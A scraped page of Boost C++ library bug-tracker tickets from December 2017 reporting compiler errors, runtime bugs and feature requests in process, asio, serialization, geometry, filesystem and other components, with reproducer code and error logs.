/usr/include/boost/multiprecision/float128.hpp:645:55: error: could not convert ‘3.3621031431120935062626778173217526e-4932’ from ‘__float128’ to ‘std::numeric_limits<boost::multiprecision::number<boost::multiprecision::backends::float128_backend, (boost::multiprecision::expression_template_option)0u> >::number_type {aka boost::multiprecision::number<boost::multiprecision::backends::float128_backend, (boost::multiprecision::expression_template_option)0u>}’
    static number_type (min)() BOOST_NOEXCEPT { return 3.36210314311209350626267781732175260e-4932Q; }
                                                       ^

#13359: windows_intermodule_singleton.hpp line 118, for version 1.62 throws warning error for possible loss of data

anonymous — Fri, 22 Dec 2017 18:10:01 GMT

It happens for vs12 compiler, for windows_intermodule_singleton.hpp line 118. Fix is simple, just mask it appropriately: initial_count = boost::uint32_t(caster.addr_uint64 & 0xFFFFFFFF);

#13358: boost::process on_exit fails when using multiple processes

david.glesser@… — Fri, 22 Dec 2017 15:30:28 GMT

int main() {
    boost::asio::io_service ios;
    boost::asio::io_service::work working(ios);
    proc::child c1("/bin/sleep 1", ios, proc::on_exit=[](int exit, const std::error_code& ec_in){std::cout<<"11111"<<std::endl;});
    proc::child c2("/bin/sleep 4", ios, proc::on_exit=[](int exit, const std::error_code& ec_in){std::cout<<"44444"<<std::endl;});
    proc::child c3("/bin/sleep 2", ios, proc::on_exit=[](int exit, const std::error_code& ec_in){std::cout<<"22222"<<std::endl;});
    ios.run();
    return 0;
}

prints

22222
44444
11111

while it should prints 11111, 22222 and then 44444. However, 22222 is printed after 1 second, 44444 after 2s, and 11111 after 4s.

The same error happen if you use:

    boost::process::async_system(ios, [](boost::system::error_code, int){std::cout << "11111" << std::endl;}, "/bin/sleep 1");

This was observed on an up-to-date Archlinux (as of 2017-12-22) with gcc 7.2.1 and clang 5.0.0.

#13357: boost::iterator_range>::back() returns reference to temporary

Fri, 22 Dec 2017 14:00:47 GMT

boost::iterator_range<boost::counting_iterator<uint64_t>>::back() returns reference to temporary

it's created by

using RangeRawType = std::uint64_t;
inline Range makeRange(
    RangeRawType begin,
    RangeRawType end = std::numeric_limits<RangeRawType>::max())
{
    return boost::counting_range<RangeRawType>(begin, end);
}

After investigation code of back() it probably returns reference to temporary value:

    reference back() const
    {
        BOOST_ASSERT(!this->empty());
        return *boost::prior(this->m_End);
    }

So it returns just a junk (or rather this reference points to some random data).

Code is the same in the newest boost (1.66 at time of writing).

#13354: xml_iarchive destructor calls abort()

anonymous — Wed, 20 Dec 2017 13:52:47 GMT

In the following Unit Test from VS2017 15.5.2 with Boost 1.66.0 from vcpkg, boost::archive::xml_iarchive() is successfully used to load an integer. When it goes out of scope, its destructor calls abort().

#include "stdafx.h"
#include "CppUnitTest.h"
using namespace Microsoft::VisualStudio::CppUnitTestFramework;
#include <boost/archive/archive_exception.hpp>
#include <boost/serialization/variant.hpp>
#include <boost/archive/xml_iarchive.hpp>
#include <boost/archive/xml_oarchive.hpp>
#include <boost/serialization/split_member.hpp>
namespace UtilityLibTest
{
    class XmlArchiveTest
    {
    public:
        XmlArchiveTest() { m_value = 4; }
        int Value() const { return m_value; }
        void Value(const int v) { m_value = v; }
    private:
        friend class boost::serialization::access;
        void load(boost::archive::xml_iarchive & ar, unsigned int version)
        {
            ar & BOOST_SERIALIZATION_NVP(m_value);
        }
        void save(boost::archive::xml_oarchive & ar, unsigned int version) const
        {
            ar & BOOST_SERIALIZATION_NVP(m_value);
        }
        BOOST_SERIALIZATION_SPLIT_MEMBER()
    protected:
        int m_value;
    };
    TEST_CLASS(UnitTest1)
    {
    public:
        TEST_METHOD(XmlArchive_SaveLoad)
        {
            XmlArchiveTest store;
            // save block
            std::stringstream	xml(std::stringstream::out);
            boost::archive::xml_oarchive archive(xml);
            archive & BOOST_SERIALIZATION_NVP(store);
            xml.flush();
            auto xml1 =  xml.str();
            store.Value(234);
            // load block
            std::stringstream	xml2;
            xml2 << xml1;
            boost::archive::xml_iarchive archive2(xml2);
            archive2 & BOOST_SERIALIZATION_NVP(store);
            Assert::AreEqual(4, store.Value(), L"4 != store.Value");
        }
    };
}

Call stack

>	ucrtbased.dll!issue_debug_notification(const wchar_t * const message) Line 28	C++	Non-user code. Symbols loaded.
 	ucrtbased.dll!__acrt_report_runtime_error(const wchar_t * message) Line 154	C++	Non-user code. Symbols loaded.
 	ucrtbased.dll!abort() Line 51	C++	Non-user code. Symbols loaded.
 	ucrtbased.dll!terminate() Line 59	C++	Non-user code. Symbols loaded.
 	vcruntime140d.dll!FindHandler(EHExceptionRecord * pExcept, EHRegistrationNode * pRN, _CONTEXT * pContext, void * pDC, const _s_FuncInfo * pFuncInfo, unsigned char recursive, int CatchDepth, EHRegistrationNode * pMarkerRN) Line 627	C++	Non-user code. Symbols loaded.
 	vcruntime140d.dll!__InternalCxxFrameHandler(EHExceptionRecord * pExcept, EHRegistrationNode * pRN, _CONTEXT * pContext, void * pDC, const _s_FuncInfo * pFuncInfo, int CatchDepth, EHRegistrationNode * pMarkerRN, unsigned char recursive) Line 347	C++	Non-user code. Symbols loaded.
 	vcruntime140d.dll!__CxxFrameHandler(EHExceptionRecord * pExcept, EHRegistrationNode * pRN, void * pContext, void * pDC) Line 219	C++	Non-user code. Symbols loaded.
 	ntdll.dll!ExecuteHandler2@20()	Unknown	Non-user code. Symbols loaded.
 	ntdll.dll!ExecuteHandler@20()	Unknown	Non-user code. Symbols loaded.
 	ntdll.dll!_KiUserExceptionDispatcher@8()	Unknown	Non-user code. Symbols loaded.
 	KernelBase.dll!_RaiseException@16()	Unknown	Non-user code. Symbols loaded.
 	vcruntime140d.dll!_CxxThrowException(void * pExceptionObject, const _s__ThrowInfo * pThrowInfo) Line 136	C++	Non-user code. Symbols loaded.
 	boost_serialization-vc141-mt-gd-x32-1_66.dll!0fe82f45()	Unknown	No symbols loaded.
 	[Frames below may be incorrect and/or missing, no symbols loaded for boost_serialization-vc141-mt-gd-x32-1_66.dll]		Annotated Frame
 	boost_serialization-vc141-mt-gd-x32-1_66.dll!0fec45ad()	Unknown	No symbols loaded.
 	boost_serialization-vc141-mt-gd-x32-1_66.dll!0fec72fc()	Unknown	No symbols loaded.
 	boost_serialization-vc141-mt-gd-x32-1_66.dll!0fec7d33()	Unknown	No symbols loaded.
 	UnitTestsUtilityLib.dll!boost::archive::xml_iarchive::~xml_iarchive() Line 129	C++	Symbols loaded.
 	UnitTestsUtilityLib.dll!UtilityLibTest::UnitTest1::XmlArchive_SaveLoad() Line 72	C++	Symbols loaded.

#13353: Distance segment-box wrong result for spherical CS

Wed, 20 Dec 2017 13:07:53 GMT

The distance algorithm for segment-box for spherical CS does not treat correctly some cases. For example when the segment endpoints are not inside the box but the segment intersects it (because of curvature, segment follow a geodesic/great circle but box horizontal segment not). An example code follows:

#include <iostream>
#include <boost/geometry.hpp>
#include <boost/geometry/geometries/point_xy.hpp>
namespace bg = boost::geometry;
template <typename point, typename CT>
void test_all_geometry_types(CT radius_multiplier)
{
    bg::model::segment<point> s;
    bg::model::box<point> b;
    std::cout.precision(15);
    {
        bg::read_wkt("SEGMENT(10 9.99, 20 9.99)", s);
        bg::read_wkt("BOX(10 10, 20 20)", b);
        std::cout << "dist=" << bg::distance(b, s) * radius_multiplier  << std::endl;
        std::cout << "disj=" << bg::disjoint(b, s) << std::endl;
    }
    {
        bg::read_wkt("SEGMENT(10 10, 20 10)", s);
        bg::read_wkt("BOX(10 10, 20 20)", b);
        std::cout << "dist=" << bg::distance(b, s) * radius_multiplier  << std::endl;
        std::cout << "disj=" << bg::disjoint(b, s) << std::endl;
    }
}
int main()
{
    typedef double CT;
    std::cout << "Cartesian" << std::endl;
    typedef bg::model::point<CT, 2, bg::cs::cartesian > cpoint;
    test_all_geometry_types<cpoint>(1);
    std::cout << "Spherical" << std::endl;
    typedef bg::model::point<CT, 2, bg::cs::spherical_equatorial<bg::degree> > spoint;
    test_all_geometry_types<spoint>(bg::formula::mean_radius<CT>(bg::srs::spheroid<CT>()));
    return 0;
}

the output in my system (i.e. gcc version 4.8.5 (Ubuntu 4.8.5-2ubuntu1~14.04.1)) is

Cartesian
dist=0.00999999999999979
disj=1
dist=0
disj=0
Spherical
dist=63710.0877141492
disj=0
dist=0
disj=0

the case where dist=63710.0877141492 and disj=0 is wrong since the objects intersect but the distance is not 0.

#13352: 1.66 i686-w64-mingw32-g++-win32

Tue, 19 Dec 2017 15:19:04 GMT

i'm using boost 1.65.1 for a project in which the new beast framework v124 is used as an internal webserver. building using gcc on linux and gcc-mingw targeting win32 works in this setup.

today, i've tried upgrade to boost 1.66, skipping the need for the external beast v124 source. still, gcc+linux build works, but my gcc-mingw build fails with alot of errors about the use of futures in asio.

attached is a stripped output of the errors.

#13350: build error non_blocking_io

Tue, 19 Dec 2017 10:11:08 GMT

build error, no find boost::asio::socket_base::non_blocking_io

error C2039: “non_blocking_io”: 不是“boost::asio::socket_base”的成员

#13349: sregex not thread-safe when copied

wave@… — Mon, 18 Dec 2017 15:44:34 GMT

The following code does fail about every other execution:

#include <iostream>
#include <boost/xpressive/xpressive.hpp>
#include <boost/thread.hpp>
using namespace std;
using namespace boost::xpressive;
struct MyRegexContainer {
    boost::xpressive::sregex myPatterns[20];
    MyRegexContainer() {
        myPatterns[0] = sregex::compile("[-]?[0-9]+\\.[0-9]{2}");
        for (int i =0; i < 20; i++)
        {
                myPatterns[i] = myPatterns[0];
        }
        }
        void match(const std::string& wert, int index) const {
                        if(!regex_match(wert, myPatterns[index])){
                                cout << "Index " << index << " did not match value " << wert << endl;
                        }
        }
};
namespace {
    void testSREGEXMultithreadedTASK() {
        static const MyRegexContainer a;
        for (int i = 0; i < 10000; ++i) {
                        a.match("33.00", i%20);
                        a.match("1.11", i%20);
        }
    }
}
int main() {
#ifdef BOOST_DISABLE_THREADS
        cout << "BOOST_DISABLE_THREADS == TRUE" << wert << endl;
#endif
boost::thread_group tgroup;
    for (int i = 0; i < 100; ++i) {
        tgroup.create_thread(boost::bind(&testSREGEXMultithreadedTASK));
    }
    tgroup.join_all();
return 0;
}

#13346: SFINAE-friendly range_value

marc.glisse@… — Sun, 17 Dec 2017 19:53:47 GMT

This code compiles:

#include <boost/range/value_type.hpp>
#include <utility>
#include <iterator>
template<class T>
void f(std::pair<T,T>){}
template<class T>
auto f(T) -> typename std::iterator_traits<typename boost::range_iterator<T>::type>::value_type {}
int main(){
  std::pair<int,int> p;
  f(p);
}

However, if I change the return type to the more readable typename boost::range_value<T>::type, it now fails to compile because the broken typedef in iterator_value is not in the immediate context. The standard noticed that this was useful and made iterator_traits SFINAE-friendly, it would be nice if boost could do the same for the various range meta-functions.

#13345: Possible misses of comma operator

dev@… — Sun, 17 Dec 2017 14:08:58 GMT

When compiling my project with boost 1.65.1 i got the warning: "Possible misses of comma operator here" for a few files. Please use brackets to avoid the warning.

file/linenumber

array.hpp/186

feed_args.hpp/56

os_file_functions.hpp/546

macOS: 10.13.2 Xcode: 9.2 (9C40b)

#13342: Support out-of-tree builds

tdhutt@… — Thu, 14 Dec 2017 10:46:55 GMT

Currently when you run ./boostrap.sh it builds b2 in the source tree. There doesn't seem to be any way to change this.

If possible it would be nice to support fully out-of-source trees so that you can do a build without modifying the source tree at all.

One way to do this would be to switch from b2 to CMake (two birds etc).

#13340: ptr_vector::c_array is not compiling when boost::nullable is used.

przemek.wos@… — Thu, 14 Dec 2017 10:15:13 GMT

Hi,

Using c_array() when nullable is in interface, triggers compile error. Fallowing code is not compiling.

boost::ptr_vector<boost::nullable<int>> p;
p.c_array(); //compile error

It looks like inside c_array reinterpret_cast should to value_type* not T**.

T** res = reinterpret_cast<T**>( &this->begin().base()[0] );

#13339: boost::filesystem segfaults under simple use...

Thu, 14 Dec 2017 00:58:54 GMT

Centos - 7 3.10.0-693.el7.x86_64 devtools-6 installed (g++ 6.3.1) Attempted using Boost 1_65_1 Failed Segfault Attempted using Boost 1_54_0 Passed

Simple program... Statically linked after building boost. #include <boost/filesystem.hpp> #include <iostream>

int main() {

boost::filesystem::path path("/tmp"); if ( boost::filesystem::exists( path ) ) {

std::cout << "TEST"; } else { std::cout << "TEST2";

} return 0;

}

Segfaults on the "boost::filesystem::exists"

#13338: checked_delete问题

linzhongzi@… — Wed, 13 Dec 2017 08:50:05 GMT

环境： Visual studio 2017 boost库编译选项： msvc141,multi,win64,debug,shared demo工程设置: debug, win32

问题源: 《Beyond the C++ STL: an introduction to boost》书上Part I, Library 3， checked_delete章节如果把 deleter.h, deleter.cpp, to_be_deleted.h三个文件内容整合到一个文件里，编译后会提示 " warning C4150: 删除指向不完整“to_be_deleted”类型的指针；没有调用析构函数" 运行后调用 deleter::do_it 时会间接调用到 ~to_be_deleted()。调用 deleter::delete_it 时则不会间接调用到 ~to_be_deleted()。最后调用完 ~to_be_deleted()程序结束时才报一个异常错误。很奇怪的地方啊！看来是编译器工作方式的不同导致的吧。。。

code like this:

deleter.h class to_be_deleted; class deleter { public:

void delete_it(to_be_deleted* p); void do_it(to_be_deleted* p);

}; deleter.cpp #include "deleter.h" #include "boost/checked_delete.hpp" void deleter::delete_it(to_be_deleted* p) {

delete p;

} void deleter::do_it(to_be_deleted* p) {

boost::checked_delete(p); typedef char type_must_be_complete[sizeof(T)]; 所有代码放入一个文件，这句居然能编译通过??

} to_be_deleted.h #include <iostream> class to_be_deleted { public:

~to_be_deleted() {

std::cout <<

"I'd like to say important things here, please.";

}

}; Test application #include "deleter.h" #include "to_be_deleted.h" int main() {

to_be_deleted* p = new to_be_deleted; deleter d; d.delete_it(p); d.do_it(p);

}

#13337: io_service::stop() behavior on MSVC contradicts documentation

Tue, 12 Dec 2017 11:10:01 GMT

The io_service::stop() documentation says:

[...] All invocations of this run() or run_one() member functions should return as soon as possible [...]

This is the behavior observed on GCC but not on MSVC.

Reproducer code:

#include <boost/asio.hpp>
#include <thread>
#include <iostream>
using namespace std::chrono_literals;
int main() {
    boost::asio::io_service s;
    s.post([] { std::this_thread::sleep_for(5ms); std::cout << "1\n"; });
    s.post([] { std::this_thread::sleep_for(5ms); std::cout << "2\n"; });
    s.post([] { std::this_thread::sleep_for(5ms); std::cout << "3\n"; });
    std::thread th([&] { s.run(); });
    std::this_thread::sleep_for(1ms);
    s.stop();
    th.join();
}

This prints "1" on GCC but "1 2 3" on MSVC

This bug was concretized by an Stack Overflow user while he investigated #13317. See his answer for more information.

#13336: vs2013 build my project with so many boost header errors

anonymous — Tue, 12 Dec 2017 09:39:16 GMT

错误 1809 错误 1810 错误 1811 错误 1812 错误 1813 错误 1814 错误 1816 错误 1817 错误 1818 错误 1819 错误 1820 错误 1821 错误 1822 错误 1823 错误 1824 错误 1825 错误 1826 错误 1827 错误 1828 错误 1829 错误 1830 错误 1831 错误 2732 错误 2733 错误 2734 错误 2735 错误 2736 错误 2737 错误 2739 错误 2740 错误 2741 错误 2742 错误 2743 错误 2744 错误 2745 错误 2746 错误 2747 错误 2748 错误 2749 错误 2750 错误 2751 错误 2752 错误 2753 错误 2754 error C2628: “boost::mpl::intunsigned”后面接“char”是非法的(是否忘记了“;”?) D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 43 1 libccm_cppbase.a error C2226: 语法错误 : 意外的“boost::mpl::intunsigned”类型 D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 44 1 libccm_cppbase.a error C2143: 语法错误 : 缺少“;”(在“{”的前面) D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 44 1 libccm_cppbase.a error C2447: “{”: 缺少函数标题(是否是老式的形式表?) D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 44 1 libccm_cppbase.a error C2039: “intunsigned”: 不是“boost::mpl”的成员 D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 85 1 libccm_cppbase.a error C2144: 语法错误:“char”的前面应有“;” D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 85 1 libccm_cppbase.a error C2143: 语法错误 : 缺少“;”(在“<”的前面) D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 85 1 libccm_cppbase.a error C2988: 不可识别的模板声明/定义 D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 85 1 libccm_cppbase.a error C2059: 语法错误:“<” D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 85 1 libccm_cppbase.a error C2039: “value”: 不是“`global namespace'”的成员 D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 85 1 libccm_cppbase.a error C2143: 语法错误 : 缺少“;”(在“}”的前面) D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 88 1 libccm_cppbase.a error C2143: 语法错误 : 缺少“;”(在“:”的前面) D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 88 1 libccm_cppbase.a error C2334: “:”的前面有意外标记；跳过明显的函数体 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 88 1 libccm_cppbase.a error C2039: “type_info”: 不是“boost::typeindex::stl_type_index”的成员 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 116 1 libccm_cppbase.a error C2059: 语法错误:“return” D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 117 1 libccm_cppbase.a error C2238: 意外的标记位于“;”之前 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 117 1 libccm_cppbase.a error C2628: “boost::typeindex::stl_type_index”后面接“char”是非法的(是否忘记了“;”?) D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 121 1 libccm_cppbase.a error C2039: “raw_name”: 不是“boost::typeindex::stl_type_index”的成员 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 121 1 libccm_cppbase.a error C2270: “raw_name”: 非成员函数上不允许修饰符 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 121 1 libccm_cppbase.a error C2065: “data_”: 未声明的标识符 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 123 1 libccm_cppbase.a error C2509: “name”: 成员函数没有在“boost::typeindex::stl_type_index”中声明 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 129 1 libccm_cppbase.a error C1903: 无法从以前的错误中恢复；正在停止编译 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 129 1 libccm_cppbase.a error C2628: “boost::mpl::intunsigned”后面接“char”是非法的(是否忘记了“;”?) D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 43 1 libccm_cppbase.a error C2226: 语法错误 : 意外的“boost::mpl::intunsigned”类型 D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 44 1 libccm_cppbase.a error C2143: 语法错误 : 缺少“;”(在“{”的前面) D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 44 1 libccm_cppbase.a error C2447: “{”: 缺少函数标题(是否是老式的形式表?) D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 44 1 libccm_cppbase.a error C2039: “intunsigned”: 不是“boost::mpl”的成员 D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 85 1 libccm_cppbase.a error C2144: 语法错误:“char”的前面应有“;” D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 85 1 libccm_cppbase.a error C2143: 语法错误 : 缺少“;”(在“<”的前面) D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 85 1 libccm_cppbase.a error C2988: 不可识别的模板声明/定义 D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 85 1 libccm_cppbase.a error C2059: 语法错误:“<” D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 85 1 libccm_cppbase.a error C2039: “value”: 不是“`global namespace'”的成员 D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 85 1 libccm_cppbase.a error C2143: 语法错误 : 缺少“;”(在“}”的前面) D:\MediaService\external\boost_1_66_0\boost\mpl\aux_\integral_wrapper.hpp 88 1 libccm_cppbase.a error C2143: 语法错误 : 缺少“;”(在“:”的前面) D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 88 1 libccm_cppbase.a error C2334: “:”的前面有意外标记；跳过明显的函数体 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 88 1 libccm_cppbase.a error C2039: “type_info”: 不是“boost::typeindex::stl_type_index”的成员 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 116 1 libccm_cppbase.a error C2059: 语法错误:“return” D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 117 1 libccm_cppbase.a error C2238: 意外的标记位于“;”之前 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 117 1 libccm_cppbase.a error C2628: “boost::typeindex::stl_type_index”后面接“char”是非法的(是否忘记了“;”?) D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 121 1 libccm_cppbase.a error C2039: “raw_name”: 不是“boost::typeindex::stl_type_index”的成员 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 121 1 libccm_cppbase.a error C2270: “raw_name”: 非成员函数上不允许修饰符 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 121 1 libccm_cppbase.a error C2065: “data_”: 未声明的标识符 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 123 1 libccm_cppbase.a error C2509: “name”: 成员函数没有在“boost::typeindex::stl_type_index”中声明 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 129 1 libccm_cppbase.a error C1903: 无法从以前的错误中恢复；正在停止编译 D:\MediaService\external\boost_1_66_0\boost\type_index\stl_type_index.hpp 129 1 libccm_cppbase.a

#13335: When using unix domain socket (boost::asio::local::stream_protocol), synchronous write may not respond sometimes on macOS

seungrye@… — Mon, 11 Dec 2017 06:48:39 GMT

In very intermittent situations, synchronous write does not wake up in the following situations:

The server application uses a unix domain socket and accepts and reads asynchronously.
The client application uses a unix domain socket, and there is a thread that performs synchronous write repeatedly. Disconnect and reconnect at any time.

There is no issue when checking on Windows / Mac with tcp socket. UDS (boost::asio::local::stream_protocol) has issue when checking on Mac.

When testing with boost library 1.62.0 and 1.65.0 in macOS 10.12 environment, I confirmed that an issue occurred.

The source code of the function with no response is as follows.

int poll_write (socket_type s, state_type state, boost :: system :: error_code & ec)
{
  if (s == invalid_socket)
  {
    ec = boost :: asio :: error :: bad_descriptor;
    return socket_error_retval;
  }
#if defined (BOOST_ASIO_WINDOWS) \
  || defined (__ CYGWIN__) \
  || defined (__ SYMBIAN32__)
...
#else // defined (BOOST_ASIO_WINDOWS)
      // || defined (__ CYGWIN__)
      // || defined (__ SYMBIAN32__)
  pollfd fds;
  fds.fd = s;
  FDS.Events = POLLOUT;
  FDS.revents = 0;
  int timeout = (state & user_set_non_blocking)? 0: -1;
  clear_last_error ();
  int result = error_wrapper (:: poll (& fds, 1, timeout), ec); //!!! ::poll is not wakeup even if socket cancelled and closed
#endif // defined (BOOST_ASIO_WINDOWS)
       // || defined (__ CYGWIN__)
       // || defined (__ SYMBIAN32__)
...
}

Attached test project. (xcode 8.3 project)

The following settings should be changed as appropriate.

Modify the "Link Binary With Libraries" of "Build Phases" as appropriate for both server / client projects.
Modify the "Header Search Paths" and "Library Search Path" of the Build Settings as appropriate for both server / client projects.

I do not speak English well so I used Google translation. Therefore, the contents may be awkward. I hope you understand. And, I hope this issue is resolved.

Note. I used the compiled library. Compilation builds version 1.65.0 using the ofxOSXBoost (on GitHub) script (build-libc ++ withBitcode).

#13334: MSVC ARM64

Fri, 08 Dec 2017 19:16:56 GMT

Visual Studio 2017 recently gained support for the ARM64 architecture (/MACHINE:ARM64), which has desktop, phone and store APIs.

It would be nice if this were supported as a target.

#13333: Child processes started with boost::process have incorrect argv if executable path contains spaces

Fri, 08 Dec 2017 16:54:21 GMT

If an executable to start has spaces in its path, the process started with either boost::process::child or boost::process::system will have a strange argv. Specifically, the segments of the executable's path will be individual elements in the argv array.

To demonstrate this problem, the following program dumps argv:

#include <iostream>
int main(int argc, char* argv[])
{
	// Dump the command line arguments.
	std::cout << argc << std::endl;
	for (int i = 0; i < argc; ++i)
		std::cout << argv[i] << std::endl;
	return 0;
}

Compile this and place the resulting DumpCmdLine.exe in "c:\dir with space\" and "c:\dirwithoutspace\".

The following program runs this executable using boost::process, and demonstrates the problem:

#include "stdafx.h"
#include <boost/process.hpp>
#include <boost/filesystem.hpp>
int main()
{
	boost::filesystem::path	toRun{ "c:\\dir with space\\DumpCmdLine.exe" };
	auto child = boost::process::child(toRun, L"realArgument");
	child.wait();
    return 0;
}

The child process argv contains 4 elements, "c:\dir", "with", "space\DumpCmdLine.exe", and "realArgument".

When there is no space in the executable path, the child process argv contains 2 elements: "c:\dirwithoutspace\DumpCmdLine.exe", and "realArgument".

When DumpCmdLine.exe is called from the command line, it receives the same 2 arguments. The command line I used is:

"c:\dir with space\DumpCmdLine.exe" realArgument

This was observed on a Windows 10 system, 64 bit build both debug and release configurations. Visual Studio 2017 (15.4.3) was used to build.

#13332: Boost 1.65.1 seems to be missing boost graph fixes from 1.64

jckooijman@… — Fri, 08 Dec 2017 11:02:48 GMT

I am getting compile errors using VS2017 in boost 1.65.1

boost\graph\named_function_params.hpp

template <class Tag, typename Args>
inline
const typename lookup_named_param_def<Tag, Args,         param_not_found>::type&
get_param(const Args& p, Tag) {
    return lookup_named_param_def<Tag, Args, param_not_found>::get(p, param_not_found());
}

This was fixed in 1.64 apparently.

#if _MSC_VER >=1900 #pragma warning( push ) #pragma warning( disable : 4172 ) #endif template <class Tag, typename Args> inline const typename lookup_named_param_def<Tag, Args, param_not_found>::type&

get_param(const Args& p, Tag) {

return lookup_named_param_def<Tag, Args, param_not_found>::get(p, param_not_found()); } #if _MSC_VER >= 1900 #pragma warning( pop ) #endif

I found another example of this:

explicit two_bit_color_map(std::size_t n, const IndexMap& index = IndexMap())
: n(n), index(index), data(new unsigned char[(n + elements_per_char - 1) / elements_per_char])
{
    // Fill to white
    std::fill(data.get(), data.get() + (n + elements_per_char - 1) / elements_per_char, 0);
}

in this case the int 0 being passed to std::fill needs to be casted to a char to compile. Also fixed in 1.64. Has something gone wrong here in the 1.65.1 release?

#13330: IMM架构输入法的ime中引入filesystem模块，导致xp上无法加载ime

376098946@… — Thu, 07 Dec 2017 10:35:24 GMT

在输入法工程中引入filesystem模块(#include <boost/filesystem.hpp>),导致生成的ime在xp上加载失败。

开发IDE环境： vs2015 14.0.25431.01 update3 编译工程的平台工具集:v140_xp 运行库:/MTd 输出文件类型:dll VERSION:VFT_DRV VFT2_DRV_INPUTMETHOD

运行环境: windowsXP sp3

#13329: BOOST_ASIO_ENABLE_CANCELIO must be globally defined

Wed, 06 Dec 2017 19:23:40 GMT

Today I spent several hours debugging a problem, that was caused by #define BOOST_ASIO_ENABLE_CANCELIO

I added this #define only in those source files, where I had compiler warnings about cancel() failing on windows XP.

This resulted in async_connect() failing.

The problem was in boost::Casio::Detail::win_iocp_socket_service::async_accept():

    start_accept_op(impl, peer.is_open(), p.p->new_socket(),
        impl.protocol_.family(), impl.protocol_.type(),
        impl.protocol_.protocol(), p.p->output_buffer(),
        p.p->address_length(), p.p);

When I inspected the value if impl.protocol_.family_, the correct value was shown in the debugger. But when I stepped into impl.protocol_.family(), an incorrect value was shown.

I found out, that in impl.protocol_.family(), the member family_ had a different address, then in the calling method async_accept().

This seems to be caused by the following code in boost::asio::detail::win_iocp_socket_service_base:

#if defined(BOOST_ASIO_ENABLE_CANCELIO)
    // The ID of the thread from which it is safe to cancel asynchronous
    // operations. 0 means no asynchronous operations have been started yet.
    // ~0 means asynchronous operations have been started from more than one
    // thread, and cancellation is not supported for the socket.
    DWORD safe_cancellation_thread_id_;
#endif // defined(BOOST_ASIO_ENABLE_CANCELIO)

This makes the size of this class (and therefore the offsets of all member variables of derived classes depend on wether BOOST_ASIO_ENABLE_CANCELIO is defined or not.

This only works, if BOOST_ASIO_ENABLE_CANCELIO is either defined or not in all sources, #include'ing boost/asio.hpp.

If it is only #define'ed in those source files, where the compiler emits the warning about cancel() failing on windows XP, this problem may occur.

I was not able to find any hint about this fact in the documentation of boost asio.

I would just unconditionally declare the member variable safe_cancellation_thread_id_. I am no sure, whether this might trigger compiler warnings about an unused or uninitialized variable, but it should be possible to suppress these warnings.

#13328: transitive_reduction.hpp in the Graph component contains two lines that use "not" instead of "!"

cjfred01@… — Wed, 06 Dec 2017 13:48:33 GMT

Lines 108 and 110 of graph/transitive_reduction.hpp (current as of Boost 1.65.1) include expressions represent logical negation via the word "not" rather than the correct "!". As expected, this causes a compilation error. None of the other Graph template/header files have this issue, as far as I could tell, so I don't believe it's simply failing to include a header that sets "#define not !". Currently, in order to use transitive_reduction.hpp, one must define that macro in their source file before including the header, and that should not be necessary. The simple solution, of course, is to change "not" to "!" in those two locations. The altered lines read as follows:

108: if( ! edge_in_closure[i][j] ) {

110: if( ! edge_in_closure[i][k] ) {

#13327: Issue with boost::property_tree::ptree inside lambda with a capture using Visual Studio 2017

shubham.srivastava@… — Wed, 06 Dec 2017 10:11:34 GMT

We are running into an issue with Boost 1.56.0, in boost::property_tree:: ptree, when using it inside lambda function with a capture using Visual Studio 2017.

I get the following errors from line 4 and line 6 when compiling the attached file.

